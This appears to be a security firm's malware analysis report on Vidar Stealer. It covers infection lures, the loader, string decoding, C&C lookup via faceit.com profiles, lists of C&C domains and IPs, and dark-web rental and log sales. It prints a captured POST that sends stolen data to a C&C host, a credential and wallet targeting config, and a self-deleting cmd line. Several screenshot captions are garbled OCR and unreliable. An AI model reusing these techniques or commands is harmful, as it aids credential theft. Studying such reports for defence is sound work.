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Executive Summary

o Vidar Stealer is a malware specialized in stealing information mainly distributed as
spam mail or crack version commercial software and keygen program. When installed,
data such as infected device information, account, and history recorded in the browser
is collected and leaked to the C&C server.

e In particular, it is one of the Stealer logs widely traded in DDW, and logs of infected
PCs worldwide are being sold.
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e Previously, Vidar Stealer communicated with the C&C server hard-coded inside the
malware, but from February 3, 2021, the method was changed to dynamically read the
C&C server from the regular site.

 Vidar stealer switches its target software frequently in order to steal credential
information stored in various browsers and programs. Therefore, the C&C server is
continuously changing, so an automated response is necessary.

o S2W LAB has been analyzing Vidar Stealer malware behaviors and tracking changes
and preventing related damage by collecting logs that are traded through DDW.
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The Routes of Infection

Recently, Vidar Stealer is mainly disguised as a Windows activation software. Because the
Windows product is expensive, many people download illegal activation software to use it for
free. In addition to Windows, many cases are disguised as a cracked commercial software,
keygen software, etc. Users may recognize the risk of the software as most vaccines be able
to detect and alert users, but they tend to ignore and execute them by taking their own risk.

. Ardamax Keylogger KeyGenNinja.com
RIELUEEEL L I | 5 D (Crack + License (fomer KeygenGur)
Key Download (2021)

Ardamax Keylogger Full Crack 5.2 With Seria oo b

Try to apply all following patches step by step

Step 1: download Windows 10 Pro x64(includes Home U

“DOWNLOAD B ARDAMAX KEYLOGGER SmartMovie v3.25 Keygen o
 —— KEY FEATURES o

oo
Step 2: download Windows 10 Pro x64(Includes Home U = - —— ;m - R LR ol

T
o ——-. Ardamax keylogger crack 417 visitors toid us the serial is gaod, 309 guys said the number is bad oo
_DOWNLOAD e A N

5435000252

Windows 10 Pro x64 keygen, Ardamax Keylogger 5.2 Crack, SmartMovie v3.25 Keygen

2/24



Last year, Vidar Stealer was distributed in South Korea through spam emails impersonated
by the Fair Trade Commission. The contents in the email lure victims to open the attached
file disguised as an official request letter. If the victim executes the attached file disguised as

a document file icon, the user will be infected by Vidar stealer.

e AR @
[BEHHLI RS FAAHEH 9] ZALSXIA

"gt= Al platformct@kaoni.com

&

TR =" Hel|2 = 3

Ms: A7k 2@ E=AFSXIA{(2020.05.25)

TISHol TS =3 EXrdgAEl M7 HZ|EI0 EANE 2Al Z IEY

2L EAFEHIN 2HEE JI5HH A7) B L CL

Or2d E8i Z0| TAIA| FE4T AHEE2 gdE22U MEBIIAS0 EAL

Al MBS FA| 7|82 C
1. AL 55 25 TAra7el flerdie] =AL
2. EAb AAF7| 7 2020.05.04 - 2020.05.20
3. ZEAl 2|F2:2020.05.04
4, ZAF AH7175 2020.05.04 - 2020.05.20
5. ZA}L @lg: 2QI( . )

3/24



i
ZIP
FAF L HIFAXLE
HE Q3 M. zip

Email disguised as the Fair Trade Commission

As Vidar Stealer has not been distributed with high-level technologies or serious
vulnerabilities so far, so if users do not use illegal programs or access suspicious sites with
caution, they can sufficiently prevent infection.

Vidar Stealer Behavior Analysis

1. Loader

Vidar Stealer is packed with an unknown loader to prevent analysis. This loader’s
characteristic is that data, strings, binaries, and other data necessary for malicious behavior
do not have regularity. Because of this feature, it is challenging to detect this loader
completely with a static method using detection signatures and Yara rules. In addition, even
if the loader is detected, there is a limit to accurately distinguishing what the actual internal
malicious code is.

Code that assigns execute permission (VirtualProtect)

String = 9;
LstrcatA(&String, "VertualBritect");
byte_427581 = 'i'; for ( i = @; i < 3599819; ++i )
byte_427587 = 'P'; {
= 1gt. if (1 == 328300 )
byte_427589 ] result = VirtualProtect(lpAddress, uBytes, @x4Bu, &Cl0ldProtect);

dword_42757C = GetProcAddress(hModule, &String); 3
return (dword_42757C)(dword_42847C, uBytes, 64, v1); return result;

Samplel Sample2
Additional binary decoding routine

if ( al == 3886 )
. SetHandleInformation(@, @, @);
Ef ( uBytes == 496 ) for (i =0; i < al; ++i )

{
v3

IsSystemResumeAutomatic();
RequestWakeupLatency(LT_DONT_CARE);

sub_472FDD(i + a2);
*v4 A= v3;

} .
dword_819370 = -875163516; if ( al == 25)
dword_819374 = -1;
sub_411030((v3 + v2) A (v14 + (vZ >> 5)) » vie GetTimeFormatA(@, @, @, @, 0, @);
v3 += 1640531527; GetLocaleInfoW(e, @, @, 0);
if ( !--v4) RegCreateKeyW(@®, @, phkResult);
break; 3}
vl = v12; }
Sampled Sample2
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On March 31, 2021, a malware analyst on Twitter (@c3rb3ru5d3d53c) named this Loader
“‘DerpLoader” and noted that Vidar Stealer, as well as other Stealer malware such as KPot
Stealer and Racoon Stealer, use it. As a result of the analysis, it was confirmed that all three
stealers’ loaders are the same loader. Stealers mainly use EXE distribution methods
disguised as specific programs, so they are easily exposed to AV. It is assumed that various
Stealers use this loader to maximize detection avoidance.

!0 .;\ qeapesps - gpasadian oFf malwasae Hel? @c3rb3rubd3d53c- 44|
4 qil ifa » #DerpLoader -> #VidarStealer #Vidar #Stealer

[71972d12fc98c8859763fef503cc52268

(D datal[.]parafia-strumiany[.]p!

Vidar Stealer and DerpLoader mentioned on Twitter

2. Vidar Stealer

Decode strings

When Vidar Stealer is executed by the loader, the encoded string is firstly decoded and the
string required for malicious behavior is extracted. As a decoding method, RC4 and Base64
are used in combination. For the RC4 Key, a string composed of 18 numbers is used, and
each sample uses a different key.

RC4_Key = "465026613113230294";
DecodeString_sub_40192A(”AVRdeLJCBlLAq3Ljrk=”);
dword_48890C =

DecodeStrlng sub 40192A(”T@dbxFoHHhkNGOrllrp4MM2tKg——"
LpszObjectName = vi;
DecodeString_sub_40192A("AUZbw@s=");

Encoded strings in Vidar Stealer
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Recipe BT nput

cork AVRAMFLICO1LAQ3 L] rk=
o TadbxFoHHRKNGO FLirp4MM2tKg==
Split delimiter Merge delimiter AUZbwas=
\n \n D Ignore errors
From Base64
Alphabet -
A-Za-z0-9+/=
Remove non-alphabet chars
RC4
Passphrase UTF8 ~
465026613113230294 Output
rpul'. farmat G.Jt[?.n format api.faceit.com
Latiml Latin1 fcore/vl/nicknames/
about

Decoding strings using CyberChef

Dynamic collection of C&C servers

In the former Vidar Stealer malware, the C&C server address was hard-coded. However,
starting on February 3 this year, a method of dynamically collecting C&C servers has started
using API functions provided by “faceit.com”, a Russian game-related community. The
advantage of this method is that the faceit.com site cannot be blocked because it is a normal
site.

According to the former method, if the C&C server used by the malware is taken down, the
malware becomes useless. However, in the case of dynamic collection, the C&C of the
malware can be automatically updated by changing the content of “faceit.com” without
modifying the malware every time.

https://api.faceit[.]com/core/vl/nicknames/[Attacker's nickname]

< C (v & api.faceit.com/core/vi/nicknames/vyh62lapin

q\

{"result":"ok", "payload":{"country":"at","registration_status":"active","about":"static.parafia-strumiany.pl|","n
{}, "user_type":"user","games":{}, "matches_not_played":0,"settings":

{"language":"en"},"active team id":null, "newsletter promotions":false,"version":4,"created_by":"anonymous", "favor
2021","invitations_remaining":10,"steam_id":"","ongoing rooms":{},"updated_by":"broker","guid":"4def9dla-be77-4fc
[1,"status" :"AVAILABLE", "guest_info":{},"notification tournament joined_starts":false,"friends_ids":[],"flag":"",
{"type":"free"}, "memberships":["free"],"newsletter general":false,"nickname":"vyh62lapin","ongoing tournaments"”:{
{},"website":"" ,"verified":false, "entity_type":"user"},"server_epoch_time":1617255525, "message":"Operation perfor
[ "anonymous" ], "user": "anonymous"}, "version":"2.176.5"}

C&C server is included in the ‘about’ field of JSON format data

Normal DLL file download

After that, Vidar Stealer downloads the normal DLL file required for malicious activity.

Normal DLL File PathC:\ProgramData\

Normal DLL files related to Firefox
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1. freebl3.dll

2. mozglue.dll
3. msvcp140.dll
4. nss3.dll

5. softokn3.dll

Normal DLL files related to C/C++

1. veruntime140.dll
2. msvcp140.dil

Request configuration data

After downloading the DLL file, the malware requests a specific page containing the
configuration values. On this page, option values for which data to collect from the infected
device are specified. Each option value is divided by ‘" and consists of a total of 12 values.
Among these, some option values are not actually used. In addition, passwords.txt,
information.txt, outlook.txt, files\Soft are unconditionally collected regardless of the options.

1,1,1,1,1,1,1,1,1,1,250,Default;%DESKTOP%\; *.txt:*.dat:*wallet*.*:*2fa*.*:*backup*.*:*

Option 1, 5, 6, 10, 11 : Not used

Option 2: Option to steal Browser’s Autofill, Cookies, Credit Cards data
Option 3: Option to steal Browser’s History, Downloads

Option 4: Option to steal Wallet data

Option 7: Option to steal Telegram data

Option 8: Option to get the Screen capture

Option 9: Option to steal Certain files

When the 9th option is activated, all files with a specific file name are collected using the last
string separated by ‘;’. The format is as follows, and the collected files are saved in
files\Files\[Work Folder].

[Save Folder];[Target Path];[Target file name list];[Maximum file size];[Seperator]

Data Theft

The target software list is as follows. The target browser may be different for each malware
because the attacker can customize the target browser list. As the version of Vidar Stealer
goes up, the collection range is getting wider, and as of March 21, the highest version
identified is 38. All stolen information is collected in the path below.

C:\ProgramData\[A-Z0-9]{25}\files\
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Path Stored data Target information Option
Soft\ Specific software data Authy Desktop Default
Telegram\ Telegram session data Telegram option 7
Ethereum, Electrum, ElectrumLTC, Exodus, ElectronCash, .
Wallets\ Cryptocurrency wallet data Multidoge, JAXX, Atomic option 4
Files\ Target file Received file list option 9
Autofill\ Autofill data in browser )
- - - Target Chromium based browsers
CC\ Credit card data in browser option 2
Cookies\ Cookie data in borwser - Target browsers
(IE, Edge, Firefox, Chrome, Pale Moon, Waterfox,
D loads! D load history in b Cyberfox, BlackHawk, IceCat, K-Meleon, Sputnik, Suhba
ownloads ownload history In browser Tencent, Nichrome, Comodo, CocCoc, Kometa, Chedot,
360 Browser, Cent Browser, Amigo, Chromium, brave, QIP i
Surf, Maxthon5, Orbitum, Opera, 7Star, Epic Privacy option 3
History\ Page history in browser Browser, uCozMedia, Torch, Vivaldi, Elements Browser,
QQBrowser, Mustang, TorBro Browser, URAN)
- Target browsers
. . - WinSCP, FileZilla
passwords.txt Account information - Purple onion, Pidgin Default
- Thunderbird
- Vidar Stealer version
- Date, MachinelD, GUID, HWID
- EXE path, work path
- Is B4bit, ProductName, Computer name, User name,
information. txt Device information %::I;g:;. OS language, Keyboard layout, Local time, Default
- Processor name, Number of cores, RAM size, Video
card
- Process list, PID
- Installed software, Version
outlook.txt Outlook accounts Outlook Default
screenshot.jpg Screenshot Device option 8

Compress the collected folder

After collecting all the data, compress the “\files” folder into a ZIP file. The path of the created
ZIP file is as follows, and different file names are used for each version.

C:\ProgramData\[A-Z0-9]{25}\[MachineGUID][0-9]{10}.zip

Send data

Afterward, it transmits a ZIP file containing the stolen data along with the infected device ID,
information, and the version of Vidar to the C&C server.

Download additional payload

If the attacker sets additional functions, there is the function to download and execute
additional malware after leaking information to the C&C server. After requesting
HTTP_QUERY_REFRESH, if the result contains the string “http”, it accesses the given URL
to read additional configuration data. After this process, finally, it extracts the URL and
downloads the malicious payload.
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C&C Server - Download configuration data - Get download URL - Download another
malwareC:\ProgramData\[A-Z0-9]{16}.exe “:Zone.Identifier”

Self-deleting

After performing all malicious actions, Vidar Stealer deletes its own traces with the command
below.

“C:\Windows\System32\cmd.exe” /c taskkill /im [Filename] /f & erase [File path] &
exit

Analysis of the domain used in the attack

S2W LAB has been continuously monitoring and tracking Vidar Stealer’s C&C server
construction method for three months since February 2021.

1. api.faceit.com

The attacker first joined a game-related community in Russia called “faceit.com”. After that,
the attacker has been updating the C&C server by using the Profile section of the user
information page, and the malware requests this information through the API.

Faceit.com/ru/players/vwhé 2lapin
& faceit lay yvhE2l

BORTIA

vyhB2lapin &

Member since 31 mapra 2021 r.

% NOAEAWTLCA £ NoAAPOYHAR NOAMWCKA

2* [0GABMTL B APY3bA * MOQNWCATLCA
CTATUCTHMKA AYBNHKALWMKA 0 BMAOED CTPHM APY3bA BEbl NOANWCAHBI noanUCYMKH

CEMYAC UrPAET B 0 KOMMAHHM

static.parafia-strumiany.p!

C&C server stored in the user information page

The attacker has changed the community nickname for about three months and the C&C
server collection URL. There are a total of 6 nicknames identified so far, and the created time
and collected C&C servers are summarized below. When the nickname is replaced, the C&C
server is not updated from the existing nickname, and the existing C&C servers are no
longer used.
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List of “faceit.com” addresses used to collect C&C servers, Created time: 2021-02-03
15:39:24 (UTC), Created time: 2021-02-19 13:13:17 (UTC), Created time: 2021-03—-01
19:34:49 (UTC), Created time: 2021-03-11 20:36:28 (UTC), Created time: 2021-03-15
17:23:12 (UTC), Created time: 2021-03-18 11:07:19 (UTC), Created time: 2021-03-30
20:46:17 (UTC), Created time: 2021-04-26 15:50:43 (UTC), Created time: 2021-05-04
08:40:44 (UTC), Created time: 2021-05-17 23:39:57 (UTC), Created time: 2021-05-24
17:09:30 (UTC)

2. C&C server

The attacker used many domains and IPs because the C&C server was changed in one day
or every 3 to 4 days. We arranged the C&C server domains that we collected over three
months, and we were able to confirm some characteristics.

Most domains registered through NameSilo

® E & ® ® @

parafia-strumiany.pl parafia-strumiany.pl duckelack.com didntreadiol.com centosBlis.com bocksmoke.com

Em 1 um —m :IDm
209.141.45.236 Namesila, LLC 185.99.133.254 TE.46:142.223 31.14.238.188
Numerous C&C servers registered through NameSilo

E-mail that the attacker used to register the domain. In particular, “xeronxik123” is
strongly suspected as the ID was also used as the faceit.com nickname.1) 2)

/A\' ’m.\, 4«-\' (A,“\, ,i n @ ,n\'
centoswiki.eo.ug bittracker.co.ug goodssogood.co lockbock.com lookludk.net

flinstonehouse.co.ug

’ m 9 s
1 1L 85.217.222.195 Chetan Salian

33.24 Roi kiseleva.veronika.73@gmail com Spring Valley. Uganda

Saratoga 185.99.133.211

kiseleva.veronika.73@gmail.com xeronxik123@gmail.com
Initially, the attacker registered and used the domain, but after that, it seems that the normal
domain was compromised and used as a C&C server. Recently, Vidar communicates with IP
type C&C server, and sometimes it is reused when the nickname is changed.

The latest version of C&C Server list is continuously updated on the

Source C&C server Detected
Hardcoded inside Malware shirleyhorn.com 22.Jan.21
Hardcoded inside Malware | centos8Its.com |25.Jan.21 |
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Hardcoded inside Malware

guilmettemoron.com

30.Jan.21

Hardcoded inside Malware customkitchaid.com 1.Feb.21
Hardcoded inside Malware protestbonjer.ml 3.Feb.21
https://api.faceit.com/core/v1/nicknames/yetveirrifcu dockclock.pro 4 Feb.21
https://api.faceit.com/core/v1/nicknames/yetveirrifcu kenutduk.duckdns.org 5.Feb.21
https://api.faceit.com/core/v1/nicknames/yetveirrifcu fuckspha.com 5.Feb.21
https://api.faceit.com/core/v1/nicknames/yetveirrifcu duckclack.com 8.Feb.21
https://api.faceit.com/core/v1/nicknames/yetveirrifcu centoswiki.co.ug 11.Feb.21
https://api.faceit.com/core/v1/nicknames/yetveirrifcu goodssogood.com 11.Feb.21
https://api.faceit.com/core/v1/nicknames/yetveirrifcu bittracker.co.ug 13.Feb.21
https://api.faceit.com/core/v1/nicknames/yetveirrifcu didntreadlol.com 15.Feb.21
https://api.faceit.com/core/v1/nicknames/yetveirrifcu 185.99.133.43 16.Feb.21
https://api.faceit.com/core/v1/nicknames/yetveirrifcu 85.217.222.195 17.Feb.21
https://api.faceit.com/core/v1/nicknames/yetveirrifcu hydrakupi.co.ug 18.Feb.21
https://api.faceit.com/core/v1/nicknames/yetveirrifcu paperone.co.ug 19.Feb.21
https://api.faceit.com/core/v1/nicknames/tronhack brainstormer.co.ug 23.Feb.21
https://api.faceit.com/core/v1/nicknames/tronhack fastkisel.co.ug 24.Feb.21
https://api.faceit.com/core/v1/nicknames/slowyen flinstonehouse.co.ug 2.Mar.21
https://api.faceit.com/core/v1/nicknames/slowyen mail.kiselev.co.ug 3.Mar.21
https://api.faceit.com/core/v1/nicknames/slowyen 92.222.241.84 4.Mar.21
https://api.faceit.com/core/v1/nicknames/slowyen bocksmoke.com 5.Mar.21
https://api.faceit.com/core/v1/nicknames/slowyen 209.141.45.236 5.Mar.21
https://api.faceit.com/core/v1/nicknames/slowyen 111.90.150.162 5.Mar.21
https://api.faceit.com/core/v1/nicknames/slowyen blockbock.com 10.Mar.21
https://api.faceit.com/core/v1/nicknames/slowyen bockbock.top 10.Mar.21
https://api.faceit.com/core/v1/nicknames/sergeevih zockzock.top 13.Mar.21
https://api.faceit.com/core/v1/nicknames/sergeevih lookluck.net 16.Mar.21
https://api.faceit.com/core/v1/nicknames/sergeevih djalil.top 18.Mar.21
https://api.faceit.com/core/v1/nicknames/sergeevih yourpro.top 18.Mar.21
https://api.faceit.com/core/v1/nicknames/sergeevih juhjuh.com 19.Mar.21
https://api.faceit.com/core/v1/nicknames/sergeevih choohchooh.com 22 Mar.21
https://api.faceit.com/core/v1/nicknames/sergeevih ciaociaoline.top 24 Mar.21
https://api.faceit.com/core/v1/nicknames/sergeevih ciaociaoline.com 25.Mar.21
https://api.faceit.com/core/v1/nicknames/sergeevih data.parafia-strumiany.pl |26.Mar.21
https:l/api.faceitl.comlcorelmlnigknames/xeronxik1 ?3 static.parafia-strumiany.pl | 29.Mar.21
https://api.faceit.com/core/v1/nicknames/vyh62lapin
https://api.faceit.com/core/v1/nicknames/vyh62lapin | promo.parafia-strumiany.pl | 4.Apr.21
https://api.faceit.com/core/v1/nicknames/vyh62lapin cache.krishgarden.com 6.Apr.21
https://api.faceit.com/core/v1/nicknames/dendytest gate.akadns9.net 14.Apr.21

https://api.faceit.com/core/v1/nicknames/vyh62lapin

upload.krishgarden.com

14.Apr.21
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https://api.taceit.com/core/v1/nicknames/vyh62lapin smtp.omplcement.com 15.Apr.21
https://api.faceit.com/core/v1/nicknames/vyh62lapin | static.helpmybusiness.ga | 16.Apr.21
https://api.faceit.com/core/v1/nicknames/vyh62lapin |static.accelerator-introlab.ml| 16.Apr.21
https://api.faceit.com/core/v1/nicknames/vyh62lapin ftp.dwysokinski.me 19.Apr.21
https://api.faceit.com/core/v1/nicknames/dendytest 163.172.40.27 19.Apr.21
https://api.faceit.com/core/v1/nicknames/vyh62lapin 88.198.106.10 19.Apr.21
https://api.faceit.com/core/v1/nicknames/vyh62lapin 49.12.77.13 20.Apr.21
ipeiapi faceit comjcorelvinicknamesiamigame | 20518512790 | 23.Apr21
https://api.faceit.com/core/v1/nicknames/vyh62lapin 78.47.87.144 23.Apr.21
hipo:iapi.faceit comicorelviinicknamesissiamisea | 1969865103 | 24.Apr21
https://api.faceit.com/core/v1/nicknames/vyh62lapin 168.119.226.10 24 Apr.21
hipo:iapi.faceit comicorelviinicknamesissiamissa | 784781226 | 26Apr21
https://api.faceit.com/core/v1/nicknames/sslamissa 116.203.140.224 29.Apr.21
Htps:/api facei comlooreivinicknamesamigame | 1761234140 | 1.May21
https://api.faceit.com/core/v1/nicknames/ramilgame 159.69.87.239 7.May.21
https://api.faceit.com/core/v1/nicknames/ramilgame 185.99.133.218 10.May.21
https://api.faceit.com/core/v1/nicknames/ramilgame 195.201.94.135 10.May.21

3. Admin site

Vidar Stealer can manage infected devices and control overall statistics through the admin
site “my-vidar.com”.
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Vidar Pro

0

my-vidar.com/auth/login

Vidar Stealer in DDW

1. Vidar Stealer rental post

Vidar Stealer is a MaaS-type malware sold on dark web forums. As shown in the post below,
sales are being made, and they are actively trading from at least November 2018 to the
present. Attackers collect information by targeting specific users with the rented malware or
sell logs collected to an unspecified number of users again on DDW.

* Prices

7 days — $130
14 days — $200
30 days — $300
60 days — $580
90 days — $750

13/24



1 [RENTAL] VIDAR. - A directional stealer for your work. "

By Loadbaks , Noverribe
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VIDAR = A directional stealer for your job,

Product screenshots;

Main page - hitps://ikb.co/HYEQqEd f Logs page - htps:/inb.co/RCGWIRh |/ Sestings page - hitpss//ibb.co/ped6ZRC f Label sottings - hitps:/fibh.cof DkgROGR
Sl

[ S ————
fened ATTENTION: The topic is solaly for the reviews of this product

Activity
We present to you cur product, which has a fairly good reputation. This stealer |s sharpened bo automate your work.

A little about our project

Widar « devaloped in C ++ al the and of 2016 and since then has continued stable work, which proves itsell enly on the pesilive side, We eal gach client with dignified
attention, who respect and value us,

This stealer hag ke own bearm, ramely WEB, SOFT devalaperd, 83 wall 83 & parsanal and axparianced systam administratar.

Wi'a have aur own prajaction servers (Not FASTELUX) and constantly charge intermediate 1Ps betwesn our ssrver up to several mes s day. We are well protected from DDOS!
Every 2 days we reiease an update and change the domain, keeping the ald bullds® notes while the domains are In working arder.

Qiar praject has automatic paymant in BTC, wnspent balaros can be withdeawn at any time (Hokd for withdrawal far 3-4 days)
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2. Vidar Stealer Log Sales Post

Posts that sell logs collected by Vidar Stealer to DDW are also being found steadily. Mostly,
rather than logs for a single target, many logs containing various countries are sold. It is
often found that such postings also include Korea.
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Selling access to 23k Mix logs.
by Xyoner - April 29, 2020 at 06:43 PM
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Vidar Stealer Log Sales in Deep Web Forum

Since the collected log files are divided into KR as below, it is easy to identify that they are
Korean victims, and password information and infected device information are stored inside
the file.
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4548 _KR_115.

-ﬁ-v

.6_06-07-20

Q

0|§ +3Y 37
> Autofill 20214 28 22 25 12:35 --
> [6{¢- 20214 28 229 25 12:35 --
cookie_list.txt 20204 78 6% 2F 121 1KB
> Cookies 2021 28 222 25 12:35 --
> Downloads 20214 28 22 2% 12:35 -
> Files 20214 28 229 25 12:35 --
[ 2 History 20214 28 22¢ 2% 12:35 -
information.txt 20204 78 68 2F 12:11 3KB
passwords.txt 20204 78 6 2% 12:10 OHIO|E
. screenshot.jpg 2020 7€ 6 25 1211 157KB

Vidar Stealer log files

2s_Mozilla Firefox_kdbb6ulg.default.txt
= cookies_Mozilla Firefox_kdbb6ulg.default.txt x

Users > sojun > Downloads > 4548_KR_115.89.74.6_06-

.github.com FALSE / FALSE 2124239|

?) .google.com FALSE / TRUE 15088988 Wh8qYLVYDaGMyMGneI56BocschNr3wFaH
.github.com TRUE / TRUE 15561287 - 13056760

{ WwWw. naver.com TRUE ! TRUE 149;
.naver.com TRUE /  TRUE 3071028¢ ‘aHJ r+ecN/3kQ5D2c3sDubbpT155gA81
.veta.naver.com TRUE / TRUE 149: W530,LA
.naver.com TRUE / TRUE 2524640,
.nv.veta.naver.com TRUE /o TRUE
.nid.naver.com TRUE /  TRUE 1587
.google.co.kr FALSE / TRUE 150%

Korean site cookie information in the log file

a Firefox_kdbb6ulg.default.txt

rdtAAKUApLdcaQd8ClybdgWon7uIfHy

Conclusion

The latest version of all Vidar Stealer malicious code C&C servers are constantly being
changed through a dynamic acquisition method, but only one C&C server is active at the
time of execution. Therefore, if a new C&C server can be collected by monitoring the C&C
server collection URL, information leakage can be prevented even if it is infected with a
malicious code, and measures can be taken by detecting infected devices attempting to
connect.

S2W LAB is monitoring the continuously updated Vidar Stealer C&C server collection URL,
and through this, the C&C server is also being collected. In addition, we continue to analyze
and track changes in Vidar Stealer’'s C&C connection method.

In the past, Stealer malware caused direct damage to individuals rather than companies, but
with the recent increase in telecommuting due to the coronavirus, Stealer malware likely to
steal accounts that can access corporate business networks. Since account stealing is
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attempted not only for web browsers but also for various software, if important accounts are
stolen, it is possible to infiltrate the corporate network. So, if these logs are sold to
ransomware attack groups, the damage is out of control.

In order to prevent Vidar Stealer infection, users should be cautious of executing programs
from unknown sources, executing cracked or illegal activation programs, and opening spam
emails.

We also provide futher information regarding various Stealers via Xarvis Enterprise.
Please refer to below pictures captured from Xarvis Enterprise.
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Relation Graph of Vidar Stealer on Xarvis Enterprise
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Xarvis Dashboard Silos Q, search
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Credential Leak Monitoring Dashboard inside Xarvis Enterprise

Appendix

Export as Excel

EXPOSED v

2021-04-30

2021-04-30

2021-04-30

2021-04-30

2021-04-30

2021-04-30

2021-04-30

2021-04-29

2021-04-29

LEAKED ~

OVERALL
RISK LEVEL

USERNAME

)

Q, Search site or username

PASSWORD

i

i

e
ik
ik
skl
T

skickhor

Appendix 1: Example of the leaked file

Filename: information.txt
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Version: 37.5

Date: Fri Feb 12 08:24:56 2021

MachinelID: eeeb5d54-7880-42a7-b542-739bbc26cf4b
GUID: {846ee340-7039-11de-9d20-806e676e6963}
HWID: eeeb5d54-7880-42a7-b542-9d20-806e6T6e€6963

Path: C:\Users\admin\AppData\Roaming\build.exe
Work Dir: C:\\ProgramData\\A2KA889SJFAXH2KBIL2MLRZVK

Windows: Windows 7 Professional [x64]
Computer Name: USER-PC

User Name: admin

Display Resolution: 1280x720

Display Language: en-US

Keyboard Languages: English (United States)
Local Time: 12/2/2021 8:24:56

TimeZone: UTC-0

[Hardware]

Processor: Intel(R) Core(TM) i5-6400 CPU @ 2.70GHz
CPU Count: 4

RAM: 4095 MB

VideoCard: Standard VGA Graphics Adapter

[Processes]

—————————————————————————————— smss.exe [272]
- csrss.exe [352]

- wininit.exe [400]

- csrss.exe [412]

- winlogon.exe [456]

- services.exe [496]

- lsass.exe [504]

- lsm.exe [512]

- svchost.exe [616]

- IMEDICTUPDATE.EXE [1224]
- srvpost.exe [1356]

- SearchIndexer.exe [1412]
- taskhost.exe [1796]

[Software] Adobe Flash Player 27 ActiveX [27.0.0.187] Adobe Flash Player 27 NPAPI
[27.0.0.187] Adobe Flash Player 27 PPAPI [27.0.0.187] Microsoft Visual C++ 2013
Redistributable (x64) - 12.0.30501 [12.0.30501.0] Microsoft Visual C++ 2019 X86
Minimum Runtime - 14.21.27702 [14.21.27702] Microsoft Visual C++ 2019 X86 Additional
Runtime - 14.21.27702 [14.21.27702] Skype 7.39 [7.39.102] Microsoft Visual C++ 2015-
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2019 Redistributable (x86) - 14.21.27702 [14.21.27702.2] -2019 Redistributable (x64)
- 14.21.27702 [14.21.27702.2] Realtek AC'97 Audio

Appendix 2: Communication

api.faceit.com connection packet (HTTPS connection)

L] 39 16.427688 192.168.108.166 184.17.63.50@ TLSv1.2 228 Client Hello

Frame 39: 228 bytes on wire (1824 bits), 228 bytes captured (1824 bits)
Ethernet II, Src: @6:b2:99:6d:78:fe (@6:b2:99:6d:78:fe), Dst: RealtekU 36:3e:ff (52:54:88:36:3e:ff)
Internet Protocol Version 4, Src: 192.168.100.166, Dst: 184.17.63.5@
Transmission Control Protocol, Src Port: 49356 (49356), Dst Port: 443 (443), Seq: 1, Ack: 1, Len: 174
4 Secure Sockets Layer

4 TLSv1.2 Record Layer: Handshake Protocol: Client Hello

Content Type: Handshake (22)

Version: TLS 1.2 (@x@3e3)

Length: 169

4 Handshake Protocol: Client Hello
Handshake Type: Client Hello (1)

Length: 165
Version: TLS 1.2 (exe3e3)
Random

Session ID Length: @
Cipher Suites Length: 52
Cipher Suites (26 suites)
Compression Methods Length: 1
Compression Methods (1 method)
Extensions Length: 72
4 Extension: server_name
Type: server_name (@xe8ee)
Length: 19
4 Server Name Indication extension
Server Name list length: 17
Server Name Type: host_name (@)
Server Name length: 14
Server Name: api.faceit.com
Extension: elliptic_curves
Extension: ec_point_formats
Extension: signature_algorithms
Extension: Extended Master Secret
Extension: renegotiation_info

JSON data received from C&C
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{ "result": "ok", "payload": { "country": "ca", "registration_status":

"active", "about": "|", "matches_left": 0,
"private_tournaments_invitations": {}, "user_type": "user", "games": {3},
"matches_not_played": 0O, "settings": { "language": "en" },
"active_team_id": null, "newsletter_promotions": false, "version": 4,
"created_by": "anonymous", "favorite_tournaments": [], "activated_at": "Wed
Feb 03 15:39:24 UTC 2021", "invitations_remaining": 10, "steam_id": "",
"ongoing_rooms": {3}, "updated_by": "5ee7a37c-54b8-4dac-a211-0329602f9398",
"guid": "5ee7a37c-54b8-4dac-a211-03296029398", "private_tournaments": [],
"status": "AVAILABLE", "guest_info": {3},
"notification_tournament_joined_starts": false, "friends_ids": [], "flag":
", "created_at": "", "membership": { "type": "free" },
"memberships": [ "free" 1, "newsletter_general": false, "nickname":
" "ongoing_tournaments": {}, "socials": {3}, "website": "",

"verified": false, "entity_ type": "user" }, "server_epoch_time": 1613118241,
"message": "Operation performed correctly.", "env": "prod", "you_are": {
"roles": [ "anonymous" 1, "user": "anonymous" 3, "version":
"2.174.3" }

Configuration data for stealing information
1,1,1,1,1,1,1,0,1,1,250,Desktop;%DESKTOP%\; *.txt:*.dat:*wallet*.*:*2fa*.*:*backup*.*:*

Desktop\; *.*;4000; true;movies:music:mp3;Atomic; %APPDATA%\Atomic\; *.*;4000; true;movies:
*o*r*ledger* . i ftrezor® . *rfwazirx* L i *mew* . * i *bithimb* . * i *hitbtc*.*:*bitflyer*.*:*kucc

Captured Packet to breach victim’s data
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POST / HTTP/1.1

Accept: text/html, application/xml;q=0.9, application/xhtml+xml,

image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8

Accept-Charset: iso0-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
Content-Type: multipart/form-data; boundary=1BEFOA57BE110FD467A
Content-Length: 8698

Host: duckclack.com

Connection: Keep-Alive

Cache-Control: no-cache

--1BEFOA57BE110FD467A
Content-Disposition: form-data; name="hwid"

eeeb5d54-7880-42a7-b542-9d20-806e6f6€6963
--1BEFOA57BE110FD467A
Content-Disposition: form-data; name="os"

Windows 7 Professional
--1BEFOA57BE110FD467A
Content-Disposition: form-data; name="platform"

xX64
--1BEFOA57BE110FD467A
Content-Disposition: form-data; name="profile"

399
--1BEFOA57BE110FD467A
Content-Disposition: form-data; name="user"

admin
--1BEFOA57BE110FD467A
Content-Disposition: form-data; name="cccount"

0
--1BEFOA57BE110FD467A
Content-Disposition: form-data; name="fcount"

image/png,
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2
--1BEFOA57BE110FD467A
Content-Disposition: form-data; name="telegram"

0
--1BEFOA57BE110FD467A
Content-Disposition: form-data; name="ver"

37.5
--1BEFOAS57BE110FD467A
Content-Disposition: form-data; name="ccount"

¢}

--1BEFOAS57BE110FD467A

Content-Disposition: form-data; name="logs"; filename="eeeb5d54-7880-42a7-b542-
739bbc26cf4b8568363090.zip"

Content-Type: zip

PK ... PK --1BEFOA57BE110FD467A- -

Appendix 3: MITRE ATT&CK

Credential . . Command
Access Discavery Collection and Control

Initial Access Execution Defense Evasion Exfiltration
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